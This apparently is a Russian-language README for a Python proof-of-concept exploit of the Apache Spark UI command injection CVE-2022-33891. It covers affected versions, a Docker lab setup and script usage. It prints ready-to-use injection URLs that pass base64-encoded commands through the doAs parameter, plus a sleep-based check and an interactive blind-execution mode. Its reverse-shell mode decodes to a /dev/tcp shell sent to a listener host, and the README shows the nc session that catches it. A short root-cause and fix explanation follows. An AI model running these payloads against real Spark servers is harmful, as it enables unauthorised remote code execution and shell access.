
Python proof-of-concept для инъекции команд в оболочку Apache Spark (CVE-2022-33891), включающий обнаружение на основе задержки, интерактивное выполнение команд и возможности reverse shell против уязвимых интерфейсов Spark UI.
Уязвимость внедрения команд в оболочку Apache Spark
Python POC для эксплуатации уязвимости внедрения команд в оболочку Apache Spark. Я видел другие POC, но они выглядели крайне подозрительно. Этот — чистый и простой.
Я не открывал эту уязвимость/эксплойт. Я просто хотел сделать безопасный POC для сообщества ^.^
Apache Spark версии 3.0.3 и ранее, версии с 3.1.1 по 3.1.2 и с 3.2.0 по 3.2.1
http://localhost:8080/?doAs=`[внедрение команды]`
Пример
http://localhost:8080/?doAs=`echo%20%22c2xlZXAgMTAK%22%20|%20base64%20-d%20|%20bash`
... засыпает на 10 секунд
Вам нужна уязвимая версия Spark с изменённой единственной опцией конфигурации.
$ pip3 install -r requirements.txtspark/.docker-compose.yml в каталоге spark/ и выполните docker-compose up. Дайте контейнеру запуститься.sudo docker exec -it spark_spark_1 /bin/bashecho "spark.acls.enable true" >> conf/spark-defaults.confdocker-compose upusage: poc.py [-h] -u URL -p PORT [--revshell] [-lh LISTENINGHOST] [-lp LISTENINGPORT] [--check]
CVE-2022-33891 Python POC Exploit Script
optional arguments:
-h, --help show this help message and exit
-u URL, --url URL URL to exploit.
-p PORT, --port PORT Exploit target's port.
--revshell Reverse Shell option.
-lh LISTENINGHOST, --listeninghost LISTENINGHOST
Your listening host IP address.
-lp LISTENINGPORT, --listeningport LISTENINGPORT
Your listening host port.
--check Checks if the target is exploitable with a sleep test
Проверка, уязвима ли цель:
husky@dev-kde:~/spark$ python3 poc.py -u http://localhost -p 8080 --check
[*] Attempting to connect to site...
[*] Performing sleep test of 10 seconds...
[*] Full exploit request is: http://localhost:8080/?doAs=`echo c2xlZXAgMTA= | base64 -d | bash`
[+] Sleep was 10 seconds! This target is probably vulnerable!
Выполнение команд в цикле приглашения:
husky@dev-kde:~/spark$ python3 poc.py -u http://localhost -p 8080
[*] "Interactive" mode!
[!] Note: you will not receive any output from these commands. Try using something like ping or sleep to test for execution.
> sleep 5
[*] Full exploit request is: http://localhost:8080/?doAs=`echo c2xlZXAgNQ== | base64 -d | bash`
>
Запуск реверс-шелла:
husky@dev-kde:~/spark$ python3 poc.py -u http://localhost -p 8080 --revshell -lh 192.168.138.131 -lp 1337
[*] Reverse shell mode.
[*] Set up your listener by entering the following:
nc -nvlp 1337
[!] When your listener is set up, press enter!
[*] Full exploit request is: http://localhost:8080/?doAs=`echo c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMzguMTMxLzEzMzcgMD4mMQ== | base64 -d | bash`
...[в другом терминале]...
husky@dev-kde:~/spark$ nc -nvlp 1337
Listening on 0.0.0.0 1337
Connection received on 172.21.0.2 55278
sh: 0: can't access tty; job control turned off
$ whoami
spark
Внедрение команд происходит потому, что Spark проверяет членство в группах пользователя, переданного в параметре ?doAs, с помощью сырой команды Linux.
Передача id в качестве пользователя вызывает эту ошибку в трассировке:
spark_1 | 22/07/20 11:55:58 INFO Utils: id: 'id': no such user
spark_1 | 22/07/20 11:55:58 ERROR Utils: Process List(bash, -c, id -Gn 'id') exited with code 1:
spark_1 | 22/07/20 11:55:58 ERROR Utils: Error getting groups for user='id'
spark_1 | org.apache.spark.SparkException: Process List(bash, -c, id -Gn 'id') exited with code 1
Здесь Java решила, что лучше всего передать команду id в bash -c для проверки членства в группах указанного пользователя. Проблема в том, что это также позволяет внедрять команды.
В исправленных версиях этот вызов параметризован, чтобы использовать полный путь к команде /bin/id вместо bash -c id
Стоит отметить, что во время выполнения команды на странице ничего не отображается, поэтому это слепое внедрение ОС. Ваши команды выполняются, но не будет никаких признаков, сработали они или нет, или даже присутствует ли программа, которую вы запускаете, на цели. Например, контейнер, который запускается с помощью файла docker-compose.yml в этом репозитории, не содержит ping, поэтому проверка внедрения команды через pingback не сработает. Но вы этого не узнаете, и будете гадать, сработало ли это.
Тест на задержку — безопасная ставка ^.^